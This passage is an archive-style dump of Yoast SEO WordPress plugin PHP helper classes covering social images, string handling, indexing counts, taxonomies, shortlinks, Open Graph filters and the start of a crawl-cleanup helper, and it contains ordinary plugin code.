			$indexable->open_graph_image      = $image['url'];
			$indexable->open_graph_image_meta = WPSEO_Utils::format_json_encode( $image );
		}
	}

	/**
	 * Handles the social images.
	 *
	 * @param Indexable $indexable The indexable to handle.
	 *
	 * @return void
	 */
	protected function handle_social_images( Indexable $indexable ) {
		// When the image or image id is set.
		if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) {
			$indexable->open_graph_image_source = 'set-by-user';

			$this->set_open_graph_image_meta_data( $indexable );
		}

		if ( $indexable->twitter_image || $indexable->twitter_image_id ) {
			$indexable->twitter_image_source = 'set-by-user';
		}

		if ( $indexable->twitter_image_id ) {
			$indexable->twitter_image = $this->twitter_image->get_by_id( $indexable->twitter_image_id );
		}

		// When image sources are set already.
		if ( $indexable->open_graph_image_source && $indexable->twitter_image_source ) {
			return;
		}

		$alternative_image = $this->find_alternative_image( $indexable );
		if ( ! empty( $alternative_image ) ) {
			$this->set_alternative_image( $alternative_image, $indexable );
		}
	}

	/**
	 * Resets the social images.
	 *
	 * @param Indexable $indexable The indexable to set images for.
	 *
	 * @return void
	 */
	protected function reset_social_images( Indexable $indexable ) {
		$indexable->open_graph_image        = null;
		$indexable->open_graph_image_id     = null;
		$indexable->open_graph_image_source = null;
		$indexable->open_graph_image_meta   = null;

		$indexable->twitter_image        = null;
		$indexable->twitter_image_id     = null;
		$indexable->twitter_image_source = null;
	}
}
wordpress-seo/src/helpers/string-helper.php000064400000002302147510273100015102 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for string operations.
 */
class String_Helper {

	/**
	 * Strips all HTML tags including script and style.
	 *
	 * @param string $text The text to strip the tags from.
	 *
	 * @return string The processed string.
	 */
	public function strip_all_tags( $text ) {
		return \wp_strip_all_tags( $text );
	}

	/**
	 * Standardize whitespace in a string.
	 *
	 * Replace line breaks, carriage returns, tabs with a space, then remove double spaces.
	 *
	 * @param string $text Text input to standardize.
	 *
	 * @return string
	 */
	public function standardize_whitespace( $text ) {
		return \trim( \str_replace( '  ', ' ', \str_replace( [ "\t", "\n", "\r", "\f" ], ' ', $text ) ) );
	}

	/**
	 * First strip out registered and enclosing shortcodes using native WordPress strip_shortcodes function.
	 * Then strip out the shortcodes with a filthy regex, because people don't properly register their shortcodes.
	 *
	 * @param string $text Input string that might contain shortcodes.
	 *
	 * @return string String without shortcodes.
	 */
	public function strip_shortcode( $text ) {
		return \preg_replace( '`\[[^\]]+\]`s', '', \strip_shortcodes( $text ) );
	}
}
wordpress-seo/src/helpers/indexing-helper.php000064400000031302147510273100015403 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Actions\Indexing\Limited_Indexing_Action_Interface;
use Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action;
use Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast_Notification_Center;

/**
 * A helper object for indexing.
 */
class Indexing_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The date helper.
	 *
	 * @var Date_Helper
	 */
	protected $date_helper;

	/**
	 * The notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The indexation actions.
	 *
	 * @var Indexation_Action_Interface[]|Limited_Indexing_Action_Interface[]
	 */
	protected $indexing_actions;

	/**
	 * The indexation actions that can be done in the background.
	 *
	 * @var Indexation_Action_Interface[]|Limited_Indexing_Action_Interface[]
	 */
	protected $background_indexing_actions;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Indexing_Helper constructor.
	 *
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Date_Helper               $date_helper         The date helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Date_Helper $date_helper,
		Yoast_Notification_Center $notification_center
	) {
		$this->options_helper      = $options_helper;
		$this->date_helper         = $date_helper;
		$this->notification_center = $notification_center;
	}

	/**
	 * Sets the actions.
	 *
	 * @required
	 *
	 * @param Indexable_Post_Indexation_Action              $post_indexation              The post indexing action.
	 * @param Indexable_Term_Indexation_Action              $term_indexation              The term indexing action.
	 * @param Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation The posttype indexing action.
	 * @param Indexable_General_Indexation_Action           $general_indexation           The general indexing (homepage etc) action.
	 * @param Post_Link_Indexing_Action                     $post_link_indexing_action    The post crosslink indexing action.
	 * @param Term_Link_Indexing_Action                     $term_link_indexing_action    The term crossling indexing action.
	 *
	 * @return void
	 */
	public function set_indexing_actions(
		Indexable_Post_Indexation_Action $post_indexation,
		Indexable_Term_Indexation_Action $term_indexation,
		Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation,
		Indexable_General_Indexation_Action $general_indexation,
		Post_Link_Indexing_Action $post_link_indexing_action,
		Term_Link_Indexing_Action $term_link_indexing_action
	) {
		$this->indexing_actions = [
			$post_indexation,
			$term_indexation,
			$post_type_archive_indexation,
			$general_indexation,
			$post_link_indexing_action,
			$term_link_indexing_action,
		];

		// Coincidentally, the background indexing actions are the same with the Free indexing actions for now.
		$this->background_indexing_actions = $this->indexing_actions;
	}

	/**
	 * Sets the indexable repository for the indexing helper class.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository(
		Indexable_Repository $indexable_repository
	) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Prepares the indexing process by setting several database options and removing the indexing notification.
	 *
	 * @return void
	 */
	public function prepare() {
		$this->set_first_time( false );
		$this->set_started( $this->date_helper->current_time() );
		$this->remove_indexing_notification();
		// Do not set_reason here; if the process is cancelled, the reason to start indexing is still valid.
	}

	/**
	 * Sets several database options when the indexing process is finished.
	 *
	 * @return void
	 */
	public function complete() {
		$this->set_reason( '' );
		$this->set_started( null );
	}

	/**
	 * Sets appropriate flags when the indexing process fails.
	 *
	 * @return void
	 */
	public function indexing_failed() {
		$this->set_reason( Indexing_Reasons::REASON_INDEXING_FAILED );
		$this->set_started( null );
	}

	/**
	 * Sets the indexing reason.
	 *
	 * @param string $reason The indexing reason.
	 *
	 * @return void
	 */
	public function set_reason( $reason ) {
		$this->options_helper->set( 'indexing_reason', $reason );
		$this->remove_indexing_notification();
	}

	/**
	 * Removes any pre-existing notification, so that a new notification (with a possible new reason) can be added.
	 *
	 * @return void
	 */
	protected function remove_indexing_notification() {
		$this->notification_center->remove_notification_by_id(
			Indexing_Notification_Integration::NOTIFICATION_ID
		);
	}

	/**
	 * Determines whether an indexing reason has been set in the options.
	 *
	 * @return bool Whether an indexing reason has been set in the options.
	 */
	public function has_reason() {
		$reason = $this->get_reason();

		return ! empty( $reason );
	}

	/**
	 * Returns the indexing reason. The reason why the site-wide indexing process should be run.
	 *
	 * @return string The indexing reason, defaults to the empty string if no reason has been set.
	 */
	public function get_reason() {
		return $this->options_helper->get( 'indexing_reason', '' );
	}

	/**
	 * Sets the start time when the indexing process has started but not completed.
	 *
	 * @param int|bool $timestamp The start time when the indexing process has started but not completed, false otherwise.
	 *
	 * @return void
	 */
	public function set_started( $timestamp ) {
		$this->options_helper->set( 'indexing_started', $timestamp );
	}

	/**
	 * Gets the start time when the indexing process has started but not completed.
	 *
	 * @return int|bool The start time when the indexing process has started but not completed, false otherwise.
	 */
	public function get_started() {
		return $this->options_helper->get( 'indexing_started' );
	}

	/**
	 * Sets a boolean that indicates whether or not a site still has to be indexed for the first time.
	 *
	 * @param bool $is_first_time_indexing Whether or not a site still has to be indexed for the first time.
	 *
	 * @return void
	 */
	public function set_first_time( $is_first_time_indexing ) {
		$this->options_helper->set( 'indexing_first_time', $is_first_time_indexing );
	}

	/**
	 * Gets a boolean that indicates whether or not the site still has to be indexed for the first time.
	 *
	 * @return bool Whether the site still has to be indexed for the first time.
	 */
	public function is_initial_indexing() {
		return $this->options_helper->get( 'indexing_first_time', true );
	}

	/**
	 * Gets a boolean that indicates whether or not the indexing of the indexables has completed.
	 *
	 * @return bool Whether the indexing of the indexables has completed.
	 */
	public function is_finished_indexables_indexing() {
		return $this->options_helper->get( 'indexables_indexing_completed', false );
	}

	/**
	 * Returns the total number of unindexed objects.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_unindexed_count() {
		$unindexed_count = 0;

		foreach ( $this->indexing_actions as $indexing_action ) {
			$unindexed_count += $indexing_action->get_total_unindexed();
		}

		return $unindexed_count;
	}

	/**
	 * Returns the amount of un-indexed posts expressed in percentage, which will be needed to set a threshold.
	 *
	 * @param int $unindexed_count The number of unindexed objects.
	 *
	 * @return int The amount of unindexed posts expressed in percentage.
	 */
	public function get_unindexed_percentage( $unindexed_count ) {
		// Gets the amount of indexed objects in the site.
		$indexed_count = $this->indexable_repository->get_total_number_of_indexables();
		// The total amount of objects in the site.
		$total_objects_count = ( $indexed_count + $unindexed_count );

		return ( ( $unindexed_count / $total_objects_count ) * 100 );
	}

	/**
	 * Returns whether the SEO optimization button should show.
	 *
	 * @return bool Whether the SEO optimization button should show.
	 */
	public function should_show_optimization_button() {
		// Gets the amount of unindexed objects in the site.
		$unindexed_count = $this->get_filtered_unindexed_count();

		// If the amount of unidexed posts is <10 don't show configuration button.
		if ( $unindexed_count <= 10 ) {
			return false;
		}
		// If the amount of unidexed posts is >10, but the total amount of unidexed posts is ≤4% of the total amount of objects in the site, don't show configuration button.
		if ( $this->get_unindexed_percentage( $unindexed_count ) <= 4 ) {
			return false;
		}
		return true;
	}

	/**
	 * Returns the total number of unindexed objects and applies a filter for third party integrations.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_filtered_unindexed_count() {
		$unindexed_count = $this->get_unindexed_count();

		/**
		 * Filter: 'wpseo_indexing_get_unindexed_count' - Allow changing the amount of unindexed objects.
		 *
		 * @param int $unindexed_count The amount of unindexed objects.
		 */
		return \apply_filters( 'wpseo_indexing_get_unindexed_count', $unindexed_count );
	}

	/**
	 * Returns a limited number of unindexed objects.
	 *
	 * @param int                                                               $limit   Limit the number of unindexed objects that are counted.
	 * @param Indexation_Action_Interface[]|Limited_Indexing_Action_Interface[] $actions The actions whose counts will be calculated.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_limited_unindexed_count( $limit, $actions = [] ) {
		$unindexed_count = 0;

		if ( empty( $actions ) ) {
			$actions = $this->indexing_actions;
		}

		foreach ( $actions as $action ) {
			$unindexed_count += $action->get_limited_unindexed_count( $limit - $unindexed_count + 1 );
			if ( $unindexed_count > $limit ) {
				return $unindexed_count;
			}
		}

		return $unindexed_count;
	}

	/**
	 * Returns the total number of unindexed objects and applies a filter for third party integrations.
	 *
	 * @param int $limit Limit the number of unindexed objects that are counted.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_limited_filtered_unindexed_count( $limit ) {
		$unindexed_count = $this->get_limited_unindexed_count( $limit, $this->indexing_actions );

		if ( $unindexed_count > $limit ) {
			return $unindexed_count;
		}

		/**
		 * Filter: 'wpseo_indexing_get_limited_unindexed_count' - Allow changing the amount of unindexed objects,
		 * and allow for a maximum number of items counted to improve performance.
		 *
		 * @param int       $unindexed_count The amount of unindexed objects.
		 * @param int|false $limit           Limit the number of unindexed objects that need to be counted.
		 *                                   False if it doesn't need to be limited.
		 */
		return \apply_filters( 'wpseo_indexing_get_limited_unindexed_count', $unindexed_count, $limit );
	}

	/**
	 * Returns the total number of unindexed objects that can be indexed in the background and applies a filter for third party integrations.
	 *
	 * @param int $limit Limit the number of unindexed objects that are counted.
	 *
	 * @return int The total number of unindexed objects that can be indexed in the background.
	 */
	public function get_limited_filtered_unindexed_count_background( $limit ) {
		$unindexed_count = $this->get_limited_unindexed_count( $limit, $this->background_indexing_actions );

		if ( $unindexed_count > $limit ) {
			return $unindexed_count;
		}

		/**
		 * Filter: 'wpseo_indexing_get_limited_unindexed_count_background' - Allow changing the amount of unindexed objects that can be indexed in the background,
		 * and allow for a maximum number of items counted to improve performance.
		 *
		 * @param int       $unindexed_count The amount of unindexed objects.
		 * @param int|false $limit           Limit the number of unindexed objects that need to be counted.
		 *                                   False if it doesn't need to be limited.
		 */
		return \apply_filters( 'wpseo_indexing_get_limited_unindexed_count_background', $unindexed_count, $limit );
	}
}
wordpress-seo/src/helpers/primary-term-helper.php000064400000002566147510273100016240 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use stdClass;

/**
 * A helper object for primary terms.
 */
class Primary_Term_Helper {

	/**
	 * Generate the primary term taxonomies.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return array The taxonomies.
	 */
	public function get_primary_term_taxonomies( $post_id ) {
		$post_type      = \get_post_type( $post_id );
		$all_taxonomies = \get_object_taxonomies( $post_type, 'objects' );
		$all_taxonomies = \array_filter( $all_taxonomies, [ $this, 'filter_hierarchical_taxonomies' ] );

		/**
		 * Filters which taxonomies for which the user can choose the primary term.
		 *
		 * @param array  $taxonomies     An array of taxonomy objects that are primary_term enabled.
		 * @param string $post_type      The post type for which to filter the taxonomies.
		 * @param array  $all_taxonomies All taxonomies for this post types, even ones that don't have primary term
		 *                               enabled.
		 */
		$taxonomies = (array) \apply_filters( 'wpseo_primary_term_taxonomies', $all_taxonomies, $post_type, $all_taxonomies );

		return $taxonomies;
	}

	/**
	 * Returns whether or not a taxonomy is hierarchical.
	 *
	 * @param stdClass $taxonomy Taxonomy object.
	 *
	 * @return bool True for hierarchical taxonomy.
	 */
	protected function filter_hierarchical_taxonomies( $taxonomy ) {
		return (bool) $taxonomy->hierarchical;
	}
}
wordpress-seo/src/helpers/taxonomy-helper.php000064400000011754147510273100015465 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Taxonomy;
use WP_Term;
use WPSEO_Taxonomy_Meta;

/**
 * A helper object for terms.
 */
class Taxonomy_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The string helper.
	 *
	 * @var String_Helper
	 */
	private $string;

	/**
	 * Taxonomy_Helper constructor.
	 *
	 * @codeCoverageIgnore It only sets dependencies.
	 *
	 * @param Options_Helper $options       The options helper.
	 * @param String_Helper  $string_helper The string helper.
	 */
	public function __construct( Options_Helper $options, String_Helper $string_helper ) {
		$this->options = $options;
		$this->string  = $string_helper;
	}

	/**
	 * Checks if the requested term is indexable.
	 *
	 * @param string $taxonomy The taxonomy slug.
	 *
	 * @return bool True when taxonomy is set to index.
	 */
	public function is_indexable( $taxonomy ) {
		return ! $this->options->get( 'noindex-tax-' . $taxonomy, false );
	}

	/**
	 * Returns an array with the public taxonomies.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return string[]|WP_Taxonomy[] Array with all the public taxonomies.
	 *                                The type depends on the specified output variable.
	 */
	public function get_public_taxonomies( $output = 'names' ) {
		return \get_taxonomies( [ 'public' => true ], $output );
	}

	/**
	 * Retrieves the term description (without tags).
	 *
	 * @param int $term_id Term ID.
	 *
	 * @return string Term description (without tags).
	 */
	public function get_term_description( $term_id ) {
		return $this->string->strip_all_tags( \term_description( $term_id ) );
	}

	/**
	 * Retrieves the taxonomy term's meta values.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param WP_Term $term Term to get the meta value for.
	 *
	 * @return array|bool Array of all the meta data for the term.
	 *                    False if the term does not exist or the $meta provided is invalid.
	 */
	public function get_term_meta( $term ) {
		return WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, null );
	}

	/**
	 * Gets the passed taxonomy's slug.
	 *
	 * @param string $taxonomy The name of the taxonomy.
	 *
	 * @return string The slug for the taxonomy. Returns the taxonomy's name if no slug could be found.
	 */
	public function get_taxonomy_slug( $taxonomy ) {
		$taxonomy_object = \get_taxonomy( $taxonomy );

		if ( $taxonomy_object && \property_exists( $taxonomy_object, 'rewrite' ) && \is_array( $taxonomy_object->rewrite ) && isset( $taxonomy_object->rewrite['slug'] ) ) {
			return $taxonomy_object->rewrite['slug'];
		}

		return \strtolower( $taxonomy_object->name );
	}

	/**
	 * Returns an array with the custom taxonomies.
	 *
	 * @param string $output The output type to use.
	 *
	 * @return string[]|WP_Taxonomy[] Array with all the custom taxonomies.
	 *                                The type depends on the specified output variable.
	 */
	public function get_custom_taxonomies( $output = 'names' ) {
		return \get_taxonomies( [ '_builtin' => false ], $output );
	}

	/**
	 * Returns an array of taxonomies that are excluded from being indexed for the
	 * indexables.
	 *
	 * @return array The excluded taxonomies.
	 */
	public function get_excluded_taxonomies_for_indexables() {
		/**
		 * Filter: 'wpseo_indexable_excluded_taxonomies' - Allow developers to prevent a certain taxonomy
		 * from being saved to the indexable table.
		 *
		 * @param array $excluded_taxonomies The currently excluded taxonomies.
		 */
		$excluded_taxonomies = \apply_filters( 'wpseo_indexable_excluded_taxonomies', [] );

		// Failsafe, to always make sure that `excluded_taxonomies` is an array.
		if ( ! \is_array( $excluded_taxonomies ) ) {
			return [];
		}

		return $excluded_taxonomies;
	}

	/**
	 * Checks if the taxonomy is excluded.
	 *
	 * @param string $taxonomy The taxonomy to check.
	 *
	 * @return bool If the taxonomy is excluded.
	 */
	public function is_excluded( $taxonomy ) {
		return \in_array( $taxonomy, $this->get_excluded_taxonomies_for_indexables(), true );
	}

	/**
	 * This builds a list of indexable taxonomies.
	 *
	 * @return array The indexable taxonomies.
	 */
	public function get_indexable_taxonomies() {
		$public_taxonomies   = $this->get_public_taxonomies();
		$excluded_taxonomies = $this->get_excluded_taxonomies_for_indexables();

		// `array_values`, to make sure that the keys are reset.
		return \array_values( \array_diff( $public_taxonomies, $excluded_taxonomies ) );
	}

	/**
	 * Returns an array of complete taxonomy objects for all indexable taxonomies.
	 *
	 * @return array List of indexable indexables objects.
	 */
	public function get_indexable_taxonomy_objects() {
		$taxonomy_objects     = [];
		$indexable_taxonomies = $this->get_indexable_taxonomies();
		foreach ( $indexable_taxonomies as $taxonomy ) {
			$taxonomy_object = \get_taxonomy( $taxonomy );
			if ( ! empty( $taxonomy_object ) ) {
				$taxonomy_objects[ $taxonomy ] = $taxonomy_object;
			}
		}

		return $taxonomy_objects;
	}
}
wordpress-seo/src/helpers/short-link-helper.php000064400000007034147510273100015675 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Helper to get shortlinks for Yoast SEO.
 */
class Short_Link_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * Short_Link_Helper constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Product_Helper $product_helper The product helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->options_helper = $options_helper;
		$this->product_helper = $product_helper;
	}

	/**
	 * Builds a URL to use in the plugin as shortlink.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public function build( $url ) {
		return \add_query_arg( $this->collect_additional_shortlink_data(), $url );
	}

	/**
	 * Returns a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public function get( $url ) {
		return $this->build( $url );
	}

	/**
	 * Echoes a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return void
	 */
	public function show( $url ) {
		echo \esc_url( $this->get( $url ) );
	}

	/**
	 * Gets the shortlink's query params.
	 *
	 * @return array The shortlink's query params.
	 */
	public function get_query_params() {
		return $this->collect_additional_shortlink_data();
	}

	/**
	 * Gets the current site's PHP version, without the extra info.
	 *
	 * @return string The PHP version.
	 */
	private function get_php_version() {
		$version = \explode( '.', \PHP_VERSION );

		return (int) $version[0] . '.' . (int) $version[1];
	}

	/**
	 * Gets the current site's platform version.
	 *
	 * @return string The wp_version.
	 */
	protected function get_platform_version() {
		return $GLOBALS['wp_version'];
	}

	/**
	 * Collects the additional data necessary for the shortlink.
	 *
	 * @return array The shortlink data.
	 */
	protected function collect_additional_shortlink_data() {
		$data = [
			'php_version'      => $this->get_php_version(),
			'platform'         => 'wordpress',
			'platform_version' => $this->get_platform_version(),
			'software'         => $this->get_software(),
			'software_version' => \WPSEO_VERSION,
			'days_active'      => $this->get_days_active(),
			'user_language'    => \get_user_locale(),
		];

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$admin_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
			if ( ! empty( $admin_page ) ) {
				$data['screen'] = $admin_page;
			}
		}

		return $data;
	}

	/**
	 * Get our software and whether it's active or not.
	 *
	 * @return string The software name.
	 */
	protected function get_software() {
		if ( $this->product_helper->is_premium() ) {
			return 'premium';
		}

		return 'free';
	}

	/**
	 * Gets the number of days the plugin has been active.
	 *
	 * @return int The number of days the plugin is active.
	 */
	protected function get_days_active() {
		$date_activated = $this->options_helper->get( 'first_activated_on' );
		$datediff       = ( \time() - $date_activated );

		return (int) \round( $datediff / \DAY_IN_SECONDS );
	}
}
wordpress-seo/src/helpers/open-graph/values-helper.php000064400000005134147510273100017141 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Open_Graph;

/**
 * A helper object for the filtering of values.
 */
class Values_Helper {

	/**
	 * Filters the Open Graph title.
	 *
	 * @param string $title          The default title.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph title.
	 */
	public function get_open_graph_title( $title, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph title.
		 *
		 * @param string $title          The default title.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_title_' . $object_type, $title, $object_subtype );
	}

	/**
	 * Filters the Open Graph description.
	 *
	 * @param string $description    The default description.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph description.
	 */
	public function get_open_graph_description( $description, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph description.
		 *
		 * @param string $description    The default description.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_description_' . $object_type, $description, $object_subtype );
	}

	/**
	 * Filters the Open Graph image ID.
	 *
	 * @param int    $image_id       The default image ID.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph image ID.
	 */
	public function get_open_graph_image_id( $image_id, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph image ID.
		 *
		 * @param int    $image_id       The default image ID.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_image_id_' . $object_type, $image_id, $object_subtype );
	}

	/**
	 * Filters the Open Graph image URL.
	 *
	 * @param string $image          The default image URL.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph image URL.
	 */
	public function get_open_graph_image( $image, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph image URL.
		 *
		 * @param string $image          The default image URL.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_image_' . $object_type, $image, $object_subtype );
	}
}
wordpress-seo/src/helpers/open-graph/image-helper.php000064400000006007147510273100016724 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Open_Graph;

use Yoast\WP\SEO\Helpers\Image_Helper as Base_Image_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;

/**
 * A helper object for Open Graph images.
 */
class Image_Helper {

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * The base image helper.
	 *
	 * @var Base_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Url_Helper        $url   The url helper.
	 * @param Base_Image_Helper $image The image helper.
	 */
	public function __construct( Url_Helper $url, Base_Image_Helper $image ) {
		$this->url   = $url;
		$this->image = $image;
	}

	/**
	 * Determines whether the passed URL is considered valid.
	 *
	 * @deprecated 22.4
	 * @codeCoverageIgnore
	 *
	 * @param array<array<string,string|int>> $image The image array.
	 *
	 * @return bool Whether or not the URL is a valid image.
	 */
	public function is_image_url_valid( array $image ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.4' );

		if ( empty( $image['url'] ) || ! \is_string( $image['url'] ) ) {
			return false;
		}

		$image_extension = $this->url->get_extension_from_url( $image['url'] );
		$is_valid        = $this->image->is_extension_valid( $image_extension );

		/**
		 * Filter: 'wpseo_opengraph_is_valid_image_url' - Allows extra validation for an image url.
		 *
		 * @param bool   $is_valid Current validation result.
		 * @param string $url      The image url to validate.
		 */
		return (bool) \apply_filters( 'wpseo_opengraph_is_valid_image_url', $is_valid, $image['url'] );
	}

	/**
	 * Retrieves the overridden image size value.
	 *
	 * @return string|null The image size when overriden by filter or null when not.
	 */
	public function get_override_image_size() {
		/**
		 * Filter: 'wpseo_opengraph_image_size' - Allow overriding the image size used
		 * for Open Graph sharing. If this filter is used, the defined size will always be
		 * used for the og:image. The image will still be rejected if it is too small.
		 *
		 * Only use this filter if you manually want to determine the best image size
		 * for the `og:image` tag.
		 *
		 * Use the `wpseo_image_sizes` filter if you want to use our logic. That filter
		 * can be used to add an image size that needs to be taken into consideration
		 * within our own logic.
		 *
		 * @param string|false $size Size string.
		 */
		return \apply_filters( 'wpseo_opengraph_image_size', null );
	}

	/**
	 * Retrieves the image data by a given attachment id.
	 *
	 * @param int $attachment_id The attachment id.
	 *
	 * @return array<string,string|int>|false The image data when found, `false` when not.
	 */
	public function get_image_by_id( $attachment_id ) {
		if ( ! $this->image->is_valid_attachment( $attachment_id ) ) {
			return false;
		}

		$override_image_size = $this->get_override_image_size();
		if ( $override_image_size ) {
			return $this->image->get_image( $attachment_id, $override_image_size );
		}

		return $this->image->get_best_attachment_variation( $attachment_id );
	}
}
wordpress-seo/src/helpers/crawl-cleanup-helper.php000064400000020145147510273100016336 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * Class Crawl_Cleanup_Helper.
 *
 * Used by the Crawl_Cleanup_Permalinks class.
 */
class Crawl_Cleanup_Helper {

	/**
	 * The current page helper
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * The Redirect Helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect_helper;

	/**
	 * Crawl Cleanup Basic integration constructor.
	 *
	 * @param Current_Page_Helper $current_page_helper The current page helper.
	 * @param Options_Helper      $options_helper      The option helper.
	 * @param Url_Helper          $url_helper          The URL helper.
	 * @param Redirect_Helper     $redirect_helper     The Redirect Helper.
	 */
	public function __construct(
		Current_Page_Helper $current_page_helper,
		Options_Helper $options_helper,
		Url_Helper $url_helper,
		Redirect_Helper $redirect_helper
	) {
		$this->current_page_helper = $current_page_helper;
		$this->options_helper      = $options_helper;
		$this->url_helper          = $url_helper;
		$this->redirect_helper     = $redirect_helper;
	}

	/**
	 * Checks if the current URL is not robots, sitemap, empty or user is logged in.
	 *
	 * @return bool True if the current URL is a valid URL.
	 */
	public function should_avoid_redirect() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We're not processing anything yet...
		if ( \is_robots() || \get_query_var( 'sitemap' ) || empty( $_GET ) || \is_user_logged_in() ) {
			return true;
		}
		return false;
	}

	/**
	 * Returns the list of the allowed extra vars.
	 *
	 * @return array The list of the allowed extra vars.
	 */
	public function get_allowed_extravars() {
		$default_allowed_extravars = [
			'utm_source',
			'utm_medium',
			'utm_campaign',
			'utm_term',
			'utm_content',
			'gclid',
			'gtm_debug',
		];

		/**
		 * Filter: 'Yoast\WP\SEO\allowlist_permalink_vars' - Allows plugins to register their own variables not to clean.
		 *
		 * @since 19.2.0
		 *
		 * @param array $allowed_extravars The list of the allowed vars (empty by default).
		 */
		$allowed_extravars = \apply_filters( 'Yoast\WP\SEO\allowlist_permalink_vars', $default_allowed_extravars );

		$clean_permalinks_extra_variables = $this->options_helper->get( 'clean_permalinks_extra_variables' );

		if ( $clean_permalinks_extra_variables !== '' ) {
			$allowed_extravars = \array_merge( $allowed_extravars, \explode( ',', $clean_permalinks_extra_variables ) );
		}
		return $allowed_extravars;
	}

	/**
	 * Gets the allowed query vars from the current URL.
	 *
	 * @param string $current_url The current URL.
	 * @return array is_allowed and allowed_query.
	 */
	public function allowed_params( $current_url ) {
		// This is a Premium plugin-only function: Allows plugins to register their own variables not to clean.
		$allowed_extravars = $this->get_allowed_extravars();

		$allowed_query = [];

		$parsed_url = \wp_parse_url( $current_url, \PHP_URL_QUERY );

		$query = $this->url_helper->parse_str_params( $parsed_url );

		if ( ! empty( $allowed_extravars ) ) {
			foreach ( $allowed_extravars as $get ) {
				$get = \trim( $get );
				if ( isset( $query[ $get ] ) ) {
